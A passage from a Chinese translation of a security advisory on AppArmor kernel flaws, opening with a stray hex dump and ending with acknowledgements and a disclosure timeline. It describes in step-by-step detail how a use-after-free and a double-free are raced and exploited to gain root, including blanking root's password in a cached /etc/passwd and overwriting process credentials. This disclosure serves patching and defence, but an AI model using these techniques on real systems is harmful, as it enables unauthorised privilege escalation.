0240: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
0260: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
0280: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 80. 92. 2d- 80. 1e. 8e. ff. ff. 80. 92. 2d- 80. 1e. 8e. ff. ff. 00. 00. 00.
02a0: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 28( 3c< 04. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
02c0: 00. 00. 00. 00. 00. b8. 92. 2d- 80. 1e. 8e. ff. ff. b8. 92. 2d- 80. 1e. 8e. ff. ff. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
02e0: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. e0. 92. 2d- 80. 1e. 8e. ff. ff. e0. 92. 2d- 80. 1e. 8e. ff. ff. 00. 00. 00.
0300: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 2c, 3c< 04. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
0320: 00. 00. 00. 00. 00. 18. 93. 2d- 80. 1e. 8e. ff. ff. 18. 93. 2d- 80. 1e. 8e. ff. ff. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
0340: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 40@ 93. 2d- 80. 1e. 8e. ff. ff. 40@ 93. 2d- 80. 1e. 8e. ff. ff. 00. 00. 00.
0360: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 300 3c< 04. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
0380: 00. 00. 00. 00. 00. 78x 93. 2d- 80. 1e. 8e. ff. ff. 78x 93. 2d- 80. 1e. 8e. ff. ff. 00. 00. 00. 00. 00. 00. 00. 00. c0. 89. 83.
03a0: 80. 1e. 8e. ff. ff. 01. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 80. ff. ff. ff. ff. ff. ff. ff. 7f. 00. 00. 00.
03c0: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 74t 6dm 70p 66f 73s 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00.
03e0: 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 00. 5c\ fd. 6dm 46F a2. 1e. 42B 5f_ b3. b6. 300 db. 1a. dd. dc. fe. 00. 00. 00.
0400: 00.
0401.
3.3 一个UAF漏洞
空白页被撕碎 空白页已然溜走 —— Sonic Youth, “The Empty Page”
我们在 AppArmor 代码中发现的第三个内核漏洞是一个 释放后使用(use-after-free,UAF) 漏洞。当我们加载一个新配置文件时(通过将其二进制形式 write() 到 AppArmor 的 .load 文件),AppArmor 会将这个原始的二进制配置文件(以压缩形式)以及元数据,记录在一个 aa_loaddata 结构体中,该结构体分配在内核的 kmalloc-192 缓存中:
99 struct aa_loaddata {
100 struct kref count;
101 struct list_head list;
102 struct work_struct work;
103 struct dentry *dents[AAFS_LOADDATA_NDENTS];
104 struct aa_ns *ns;
105 char *name;
106 size_t size; /* the original size of the payload */
107 size_t compressed_size; /* the compressed size of the payload */
108 long revision; /* the ns policy revision this caused */
109 int abi;
110 unsigned char *hash;
...
116 char *data;
117 };
这个 aa_loaddata 结构体的各个成员可以通过 AppArmor 文件系统中的目录项(dentries)进行读取;例如,如果我们 cat 查看 compressed_size 文件,open() 系统调用会获取该文件 dentry 的一个引用,该 dentry 包含一个指向其 inode 的指针(d_inode),而该 inode 又包含一个指向其 aa_loaddata 结构体的指针(i_private):
$ strace cat /sys/kernel/security/apparmor/policy/raw_data/0/compressed_size
...
openat(AT_FDCWD, "/sys/kernel/security/apparmor/policy/raw_data/0/compressed_size", O_RDONLY) = 3
...
read(3, "408\n", 131072) = 4
...
1423 SYSCALL_DEFINE3(open, const char __user *, filename, int, flags, umode_t, mode)
....
1427 return do_sys_open(AT_FDCWD, filename, flags, mode);
1416 long do_sys_open(int dfd, const char __user *filename, int flags, umode_t mode)
....
1419 return do_sys_openat2(dfd, filename, &how);
1388 static long do_sys_openat2(int dfd, const char __user *filename,
....
1404 struct file *f = do_filp_open(dfd, tmp, &op);
3821 struct file *do_filp_open(int dfd, struct filename *pathname,
....
3829 filp = path_openat(&nd, op, flags | LOOKUP_RCU);
3782 static struct file *path_openat(struct nameidata *nd,
....
3802 error = do_open(nd, file, op);
3601 static int do_open(struct nameidata *nd,
....
3645 error = vfs_open(&nd->path, file);
1084 int vfs_open(const struct path *path, struct file *file)
....
1087 return do_dentry_open(file, d_backing_inode(path->dentry), NULL);
902 static int do_dentry_open(struct file *f,
...
940 error = security_file_open(f);
...
951 open = f->f_op->open;
...
953 error = open(inode, f);
1240 static int seq_rawdata_open(struct inode *inode, struct file *file,
....
1243 struct aa_loaddata *data = __aa_get_loaddata(inode->i_private);
....
1246 if (!data)
1247 /* lost race this ent is being reaped */
1248 return -ENOENT;
1302 static int seq_rawdata_compressed_size_show(struct seq_file *seq, void *v)
....
1304 struct aa_loaddata *data = seq->private;
....
1306 seq_printf(seq, "%zu\n", data->compressed_size);
在审查 AppArmor 的代码时,我们注意到几个令人费解的注释:“no refcount on inode rawdata”(inode rawdata 上没有引用计数),“no refcounts on i_private”(i_private 上没有引用计数)——尽管 aa_loaddata 结构体被其 dentries 引用(通过 d_inode 和 i_private 指针),但这些引用并未计入 aa_loaddata 的 count 成员;换句话说,它们没有进行引用计数。
我们试图理解为什么这样是安全的,但很快意识到,实际上应该对这些对 aa_loaddata 结构体的引用进行计数:如果,
- • 在
open()获取了compressed_size文件的 dentry 引用之后(在path_openat()中,调用第 3802 行的do_open()之前), - • 但在
open()调用compressed_size文件的seq_rawdata_open()之前(在do_dentry_open()中,第 953 行),
如果此时有一个并发的、同时运行的线程丢掉了对 aa_loaddata 结构体的最后一个引用(通过移除相应的 AppArmor 配置文件),并因此 kfree() 了它,那么当 seq_rawdata_open() 被调用时,aa_loaddata 结构体已经被 kfree() 了,并在第 1243 行(也可能在第 1306 行)被释放后使用。
起初,我们认为永远无法赢得这场竞态条件(发生在第 3802 行和第 953 行之间),原因有三:
- 1. 当对
aa_loaddata结构体的最后一个引用被丢弃时(当其count成员降至零),这个aa_loaddata结构体并不会立即被kfree(),而是被安排进行延迟kfree():
162 static inline void aa_put_loaddata(struct aa_loaddata *data)
...
165 kref_put(&data->count, aa_loaddata_kref);
133 void aa_loaddata_kref(struct kref *kref)
...
135 struct aa_loaddata *d = container_of(kref, struct aa_loaddata, count);
...
138 INIT_WORK(&d->work, do_loaddata_free);
139 schedule_work(&d->work);
115 static void do_loaddata_free(struct work_struct *work)
...
117 struct aa_loaddata *d = container_of(work, struct aa_loaddata, work);
...
130 kfree_sensitive(d);
因此,当 seq_rawdata_open() 被调用时,该 aa_loaddata 结构体可能尚未被 kfree(),从而避免了释放后使用。
- 2. 无论如何,仅仅用一个刚被
kfree()的aa_loaddata结构体调用seq_rawdata_open()是不够的,因为do_loaddata_free()实际上调用的是kfree_sensitive(),该函数首先会将这个aa_loaddata结构体memset()为零,导致seq_rawdata_open()在第 1248 行立即返回(因为这个已被kfree()的aa_loaddata结构体的count成员为零),而不会发生可利用的释放后使用:
132 __aa_get_loaddata(struct aa_loaddata *data)
...
134 if (data && kref_get_unless_zero(&(data->count)))
135 return data;
...
137 return NULL;
94 * kref_get_unless_zero - Increment refcount for object unless it is zero.
..
97 * Return non-zero if the increment succeeded. Otherwise return 0.
...
109 static inline int __must_check kref_get_unless_zero(struct kref *kref)
...
111 return refcount_inc_not_zero(&kref->refcount);
因此,我们不仅要在竞态条件窗口期内 kfree() 掉 aa_loaddata 结构体,还必须用另一个有用的对象重新分配其内存,并且该对象的前四个字节(即这个已被 kfree() 的 aa_loaddata 结构体的 count 成员)不能全为零。
- 3. 这个竞态条件窗口(第 3802 行和第 953 行之间)看起来非常狭窄;特别是,它似乎不包含任何可能被 FUSE 等机制阻塞的用户空间访问。
幸运的是,我们还有一个锦囊妙计:在竞态条件窗口的中间,open() 调用了 security_file_open()(在第 940 行),而该函数又会调用 apparmor_file_open();由于我们能够加载新的任意 AppArmor 配置文件,因此可以加载特制的配置文件来减慢 security_file_open() 的执行速度,从而极大地拓宽竞态条件窗口,使我们能够轻松赢得这场竞态。我们开发了两种替代方法,各有优缺点:
- 1. 利用之前提到的
aa_dfa_match()中的越界内存读取漏洞,通过用读取数MB甚至数GB越界内存的 DFA 配置文件来限制打开compressed_size文件的线程,从而减慢security_file_open()的执行。这需要几秒钟时间,为我们赢得了充足的时间来可靠地赢得open()中的竞态条件。缺点:
- • 此方法需要一个 AppArmor 和非特权的用户命名空间,而利用此UAF漏洞本身并不需要这些:因为我们的 DFA 相当大(有大约 64K 个状态),我们必须直接将该配置文件
write()到 AppArmor 的.load文件,因为(据我们所知)通过su在 pty 模式下的 stdout 进行write()操作限制在 4KB 以内; - • 偶尔,这种对数MB或数GB内核内存的越界读取会导致内核报错(Oops)(因为遇到了“不存在的页”),但至少在 Ubuntu 和 Debian 上,这种 Oops 不会导致系统崩溃:我们可以简单地用略有不同的 DFA 重新运行漏洞利用程序。
- 2. 另一种减慢打开
compressed_size文件的线程的方法是用数千个堆叠的 AppArmor 配置文件来限制它(例如myprofile1//&myprofile2//&myprofile3//&etc),并为每个配置文件指定一个约 4KB 的attach_disconnected.path:apparmor_file_open()被迫读取数百万字节(堆叠的配置文件数量乘以attach_disconnected.path的长度),这需要数百毫秒,为我们提供了足够的时间来可靠地赢得open()中的竞态条件。缺点:
- • 数千个堆叠的 AppArmor 配置文件会消耗大量内存,这在小型系统上可能是个问题。
我们成功地可靠赢得了这场竞态条件,但如何利用由此产生的UAF漏洞呢?我们最初的策略失败了(我们计划用一个临时的扩展属性(xattr)或用户密钥缓冲区来重新分配已被 kfree() 的 aa_loaddata 结构体),因为我们完全忽略了一个事实:Ubuntu 24.04.3 中默认启用了 CONFIG_RANDOM_KMALLOC_CACHES 缓解措施:
有很高的概率(15/16),像 xattr 或用户密钥缓冲区这样的有用对象,永远不会与我们已被 kfree() 的 aa_loaddata 结构体分配在同一个 slab 缓存中(该结构体分配在某个 kmalloc-(|rnd-..-)192 缓存中)。有关 CONFIG_RANDOM_KMALLOC_CACHES 缓解措施的更多信息,请参阅:
- • https://sam4k.com/exploring-linux-random-kmalloc-caches/ (作者:Sam Page)
- • https://dustri.org/b/some-notes-on-randomized-slab-caches-for-kmalloc.html (作者:Julien Voisin)
遗憾的是,正如多位研究人员反复强调的,CONFIG_RANDOM_KMALLOC_CACHES 缓解措施完全无法防御跨缓存攻击:
- • https://x.com/andreyknvl/status/1700267669336080678 (作者:Andrey Konovalov)
- • https://infosec.exchange/@minipli/111045336853055793 (作者:Mathias Krause)
- • https://a13xp0p0v.github.io/2025/09/02/kernel-hack-drill-and-CVE-2024-50264.html (作者:Alexander Popov)
因此,我们决定利用 Jann Horn 针对 CVE-2020-29661 提出的优雅攻击方法来利用 aa_loaddata 结构体的释放后使用漏洞,该方法的核心是 “将对象页面释放回页分配器” 并 “将受害者页面重新分配为页表” 。详细原理可参考其经典分析:
- • https://projectzero.google/2021/10/how-simple-linux-kernel-memory.html
简而言之,我们的攻击流程如下:
- 1. 执行跨缓存“舞蹈”:执行攻击的第一阶段,将存放我们已
kfree()的aa_loaddata结构体的内存页释放回页分配器。为了分配和释放此阶段所需的大量对象,我们通过加载和移除大量极简的 AppArmor 配置文件来操作,这些配置文件的aa_loaddata结构体保证与我们目标对象分配在同一个随机的 kmalloc 缓存中。 - 2. 将页面重新分配为页表:执行攻击的第二阶段,将那块内存页重新分配为一个页表(PT,page table)。我们精心构造,使得该页表的所有页表项(PTEs,page-table entries)都映射到
/etc/passwd文件被mmap()映射的第一个页面(设置为只读模式,因为我们没有该文件的写权限)。 - 3. 验证攻击阶段成功:通过我们在竞态条件期间打开的、指向
compressed_size文件的文件描述符,read()已释放的aa_loaddata结构体的compressed_size成员。如果读出的内容看起来像一个只读PTE,则说明我们成功地将该内存页重新分配为页表,其count和compressed_size成员现在实际上是/etc/passwd的PTE。
- • 注意:极少数情况下,如果此PTE的第 31 位被设置(即
count成员变为负数,即“饱和(saturated)”),我们的利用会失败。但内核仅会发出警告,我们可以简单地换一个目标文件(而非/etc/passwd)重新运行利用程序。
- 4. 获取页表项的写权限:通过多次(
0x42次)open()指向compressed_size文件的/proc/pid/fd/n描述符,为我们已释放的aa_loaddata结构体的count成员增加0x42个引用。这实际上是修改了对应此count成员的页表项,打开了其_PAGE_DIRTY位和_PAGE_RW位。至此,我们mmap()的/etc/passwd页面之一变为可写。 - 5. 修改内存中的
/etc/passwd:向这个可写的mmap()页面执行写入(实际使用pread()),覆盖其第一行内容(root:x:0:0:root:/root:/bin/bash\n),将其改为无密码的第一行(root::0:0:root:/root:/bin/bash\n)。注意,这里修改的是 page cache 中内存里的/etc/passwd副本,而非磁盘上的原始文件。 - 6. 恢复页表项PTE:通过关闭那
0x42个指向compressed_size文件的文件描述符,从count成员中减去相应引用,从而关闭对应页表项的_PAGE_DIRTY和_PAGE_RW位,将其恢复为原始的只读状态。 - 7. 获取 Root Shell:执行
su命令。得益于/etc/passwd中无密码的 root 条目,我们无需密码即可立即获得一个具有完整权限的 root shell。
在 Ubuntu 24.04.3 上,此利用程序极其可靠(很可能是因为 CONFIG_RANDOM_KMALLOC_CACHES 缓解措施极大地减少了 slab 缓存中的“噪音”)。在 Debian 13.1 上,可能需要运行几次利用程序才能成功(因为 CONFIG_RANDOM_KMALLOC_CACHES 缓解措施在该版本中默认未启用)。
3.4 一个双重释放漏洞
我们在他手上画了个零 —— Sonic Youth, “Teen Age Riot”
我们在 AppArmor 代码中发现的第四个内核漏洞是一个 双重释放(double-free) 漏洞。我们决定在 Debian 13.1 上利用此漏洞;Ubuntu 24.04.3 可能也可利用,但由于 CONFIG_RANDOM_KMALLOC_CACHES 缓解措施的存在,需要不同的利用策略(事实上,我们在针对 Debian 13.1 的漏洞利用中并未执行跨缓存攻击)。
在 aa_replace_profiles() 函数(该函数解析我们 write() 到 AppArmor 的 .load 和 .replace 文件的配置文件)中,如果没有配置文件在其头部显式指定命名空间(即,在第 1071 行之后 ns_name 仍为 NULL),但某个配置文件在其名称中隐式指定了一个命名空间,例如 ":mynamespace:myprofile"(即,在第 1089 行 ent->ns_name 不为 NULL),那么 ns_name 会被设置为这个 ent->ns_name(在第 1095 行),然后第一次被 kfree()(在第 1262 行),接着第二次又被 kfree()(在第 1270 行):这就构成了一个双重释放漏洞,影响范围是从 kmalloc-8 到 kmalloc-256 的任意 slab 缓存(因为 AppArmor 命名空间的长度可以在 1 到 255 字节之间)。
1057 ssize_t aa_replace_profiles(struct aa_ns *policy_ns, struct aa_label *label,
....
1060 const char *ns_name = NULL, *info = NULL;
....
1071 error = aa_unpack(udata, &lh, &ns_name);
....
1082 if (ns_name) {
....
1089 } else if (ent->ns_name) {
....
1095 ns_name = ent->ns_name;
....
1246 if (ent->old) {
....
1248 __replace_profile(ent->old, ent->new);
....
1262 aa_load_ent_free(ent);
....
1270 kfree(ns_name);
1273 void aa_load_ent_free(struct aa_load_ent *ent)
....
1279 kfree(ent->ns_name);
要成功利用此双重释放(并避免系统崩溃),我们必须在第一次 kfree()(第 1262 行)之后、第二次 kfree()(第 1270 行)之前,重新分配 ns_name 的内存。最初,我们认为无法赢得这场竞态条件,但最终意识到,如果我们向 AppArmor 的 .replace 文件 write() 大量拼接在一起的配置文件,并且这些配置文件包含子配置文件,那么 __replace_profile() 会被多次调用(在第 1248 行),并且每次调用都会遍历每个子配置文件(在第 949-967 行),这会耗费相当长的时间。例如,1024 个各包含 16 个子配置文件的配置文件,可以将竞态条件窗口拓宽到数秒,使我们能够可靠地赢得这场竞态。
941 static void __replace_profile(struct aa_profile *old, struct aa_profile *new)
...
947 list_splice_init_rcu(&old->base.profiles, &lh, synchronize_rcu);
...
949 list_for_each_entry_safe(child, tmp, &lh, base.list) {
...
964 rcu_assign_pointer(child->parent, aa_get_profile(new));
965 list_add_rcu(&child->base.list, &new->base.profiles);
...
967 }
但是,如何利用由此产生的双重释放呢?我们最初的策略惨遭失败:我们计划用一个临时的 xattr 缓冲区来重新分配 ns_name 的内存,但完全忽略了一个事实:这些分配使用了 “用于 memdup_user() 的专用 slab 桶”,因为 Debian 13.1 中默认启用了 CONFIG_SLAB_BUCKETS 缓解措施。因此,我们决定改为分配另一个对象(一个临时的用户密钥缓冲区),并紧密跟随 Crusaders of Rust 针对 CVE-2025-38001 的极其令人印象深刻的攻击所写的总结:
- • https://syst3mfailure.io/rbtree-family-drama/
简而言之,我们的攻击流程如下:
- 1. 首次释放与特定对象抢占:在
ns_name第一次被kfree()之后,我们立即用一个临时的用户密钥缓冲区重新分配其内存(通过add_key()或keyctl(KEYCTL_UPDATE)系统调用),但我们利用 FUSE 阻塞了该用户密钥缓冲区最后几个字节的拷贝(从用户空间到内核空间),使其不会因拷贝完成而被自动kfree()。 - 2. 二次释放与页向量抢占:紧接着,
ns_name发生第二次kfree(),这实际上释放了我们的用户密钥缓冲区(其拷贝仍被 FUSE 阻塞)。我们立即用一个 AF_PACKET 页向量(一个指向内核中单页缓冲区的指针数组)重新分配并覆盖其内存。实际上,我们分配了大量的 AF_PACKET 页向量(通过setsockopt(PACKET_TX_RING)系统调用),原因稍后揭晓。 - 3. 信息泄露:我们解除对用户密钥缓冲区拷贝的阻塞(该缓冲区大部分已被 AF_PACKET 页向量覆盖),并通过
keyctl(KEYCTL_READ)读回此用户密钥缓冲区,从而泄露了 AF_PACKET 页向量中的指针。这本质上是 Valentina Palmiotti 在利用 CVE-2021-41073 时提出的巧妙“一招鲜”技巧(但这里用的是用户密钥而非 xattr):
- • https://chomp.ie/Blog+Posts/Put+an+io_uring+on+it+-+Exploiting+the+Linux+Kernel
- 4. 伪造页向量与双重映射:上述解除阻塞操作会自动
kfree()掉我们的用户密钥缓冲区,从而也释放了 AF_PACKET 页向量。我们立即用另一个临时的、同样被 FUSE 阻塞拷贝的用户密钥缓冲区重新分配并覆盖其内存:这个新缓冲区是步骤 3 中泄露的 AF_PACKET 页向量的精确副本,但它的第一个指针被我们覆写为一个稍高的指针(高于该页向量中的最高指针)。有很高概率,这个被覆写的指针恰好等于我们其他众多 AF_PACKET 页向量中某一个的指针。 - 5. 检测双重映射的页面:因此,这个被覆写指针所指向的内存页,在两个不同的 AF_PACKET 页向量中被人为地引用了两次(但其中一个是无计数引用,最终会导致UAF)。如果我们通过它们的 AF_PACKET 文件描述符
mmap()所有 AF_PACKET 页向量中的所有页面,并向每个mmap()的页面写入一个唯一标签,那么我们就可以检测到那个被引用了两次(因而被mmap()了两次)的页面。 - 6. 释放页面与页级抢占:我们对该页面执行两次
munmap(),并关闭两个引用该页面的 AF_PACKET 文件描述符中的第一个,这将其引用计数降为零,并将该页面释放回页分配器(但我们通过上述两个 AF_PACKET 文件描述符中的第二个,仍然拥有对该空闲页面的一个无计数引用)。 - 7. 构造任意读写原语:我们立即将这个空闲页面重新分配为一个管道缓冲区(pipe buffer)(通过向一个用
fcntl(F_SETPIPE_SZ)将缓冲区大小设为单页的管道执行write()),然后通过关闭第二个(也是最后一个)仍引用它的 AF_PACKET 文件描述符再次释放它,并立即通过大量调用signalfd(-1)将其重新分配为一个装满file结构体的页面。这样,通过从/向我们的管道进行read()/write(),我们就获得了对此页面(及其包含的所有file结构体)的任意读写访问。 - 8. 读取内核敏感指针:从我们的管道中
read()出这个页面(及其所有file结构体)的内容,从而泄露了f_cred(指向我们进程的cred结构体的指针,该结构体包含 uid、euid、gid 等凭证)和private_data(指向signalfd_ctx结构体的指针,包含一个无符号长整型的信号掩码)。 - 9. 覆写凭证,获得 Root:通过向管道
write()修改后的页面内容,我们用f_cred指针覆写了private_data指针,然后调用signalfd()向private_data(即我们覆写后的f_cred)写入零(作为信号掩码的最高有效字节),从而将我们进程的 uid 凭证覆写为零。至此,我们的进程终于以 root 用户身份运行了。
注意:由于此利用策略使用了 AF_PACKET 页向量,它需要一个网络命名空间(因此也需要一个非特权的用户命名空间);然而,应该可以开发出不需要用户命名空间的其他利用策略,但这留给感兴趣的读者作为练习。
四、致谢
灵感来自 Jann Horn 的《缓解措施也是攻击面》:https://projectzero.google/2020/02/mitigations-are-attack-surface-too.html
我们感谢 Ubuntu 安全团队和 Canonical 的 AppArmor 开发者(特别是 John Johansen、Georgia Garcia、Maxime Belair、Massimiliano Pellizzer 和 Cengiz Can)为此版本付出的辛勤工作。我们也感谢 Sudo 的维护者(Todd C. Miller)、Debian 安全团队(特别是 Salvatore Bonaccorso)、SUSE 安全团队(特别是 Matthias Gerstner 和 Marcus Meissner)、Linux 内核安全团队(特别是 Greg Kroah-Hartman 和 Willy Tarreau)以及 linux-distros 邮件列表的成员们。
如果没有 Jann Horn 和 Crusaders of Rust 公开的研究成果,这项研究将无法实现。更广泛地说,我们衷心感谢所有持续发表其研究成果的安全研究员;他们让这个世界变得大不相同。
我们也感谢 Phrack 的新老成员,是他们让精神和社区保持活力,并感谢 Gerardo Richarte 对我们工作的善意评价:
https://phrack.org/issues/72/2
最后,我们将此公告献给 Sebastian Krahmer:
https://www.thc.org/404/stealth/eulogy.txt
五、时间线
- • 2025-07-10:向 Ubuntu 安全团队和 Canonical 的 AppArmor 开发者发送了第一批漏洞。
- • 2025-08-01:向 Ubuntu 安全团队和 Canonical 的 AppArmor 开发者发送了第二批漏洞。
- • 2025-09-09:向 Ubuntu 安全团队和 Canonical 的 AppArmor 开发者发送了第三批漏洞。
- • 2025-10-20:向 Ubuntu 安全团队和 Canonical 的 AppArmor 开发者发送了本公告的草案。
- • 2025-12-15:向 Ubuntu 安全团队和 Canonical 的 AppArmor 开发者发送邮件,表达我们对漏洞披露状态的担忧。
- • 2026-01-14:再次向 Ubuntu 安全团队和 Canonical 的 AppArmor 开发者发送邮件,表达我们对漏洞披露状态的担忧。
- • 2026-02-11:与 Canonical 的 AppArmor 开发者共同确定协调披露日期为 2026-03-03。
- • 2026-02-17:联系了 Sudo 的维护者。
- • 2026-02-17:收到来自 Canonical 的 AppArmor 开发者的第一版补丁。
- • 2026-02-18:联系了 Debian 安全团队和 SUSE 安全团队。
- • 2026-02-19:向 Ubuntu 安全团队和 Canonical 的 AppArmor 开发者发送了第一轮补丁审查意见。
- • 2026-02-20:向 Debian 安全团队和 SUSE 安全团队发送了第一版补丁。
- • 2026-02-24:联系了 Linux 内核安全团队 (security@kernel)。
- • 2026-02-26:收到来自 Canonical 的 AppArmor 开发者的第二版补丁。
- • 2026-02-26:向 linux-distros 邮件列表 (linux-distros@openwall) 发送了第二版补丁和本公告的草案。
- • 2026-02-27:向 Ubuntu 安全团队和 Canonical 的 AppArmor 开发者发送了第二轮补丁审查意见。
- • 2026-02-28:联系了 Linux 内核 CVE 分配团队 (cve@kernel)。
- • 2026-03-03:与 Canonical 的 AppArmor 开发者共同决定推迟协调披露日期(因其中一个补丁不完整),推迟至“补丁上游合并到 Linus 的树中”。
- • 2026-03-03:收到来自 Canonical 的 AppArmor 开发者的第三版补丁。
- • 2026-03-04:向 Canonical 的 AppArmor 开发者发送了第三轮补丁审查意见。
- • 2026-03-05:收到来自 Canonical 的 AppArmor 开发者的第四版补丁。
- • 2026-03-09:收到来自 Canonical 的 AppArmor 开发者的第五版,即最终版补丁。
- • 2026-03-12:补丁上游合并到 Linus 的树中。
引用链接
[1] 《CrackArmor: Multiple vulnerabilities in AppArmor》: https://cdn2.qualys.com/advisory/2026/03/10/crack-armor.txt
交流群
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:云原生安全指北 Dubito Dubito《AppArmor漏洞剖析:绕过命名空间限制&提权》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论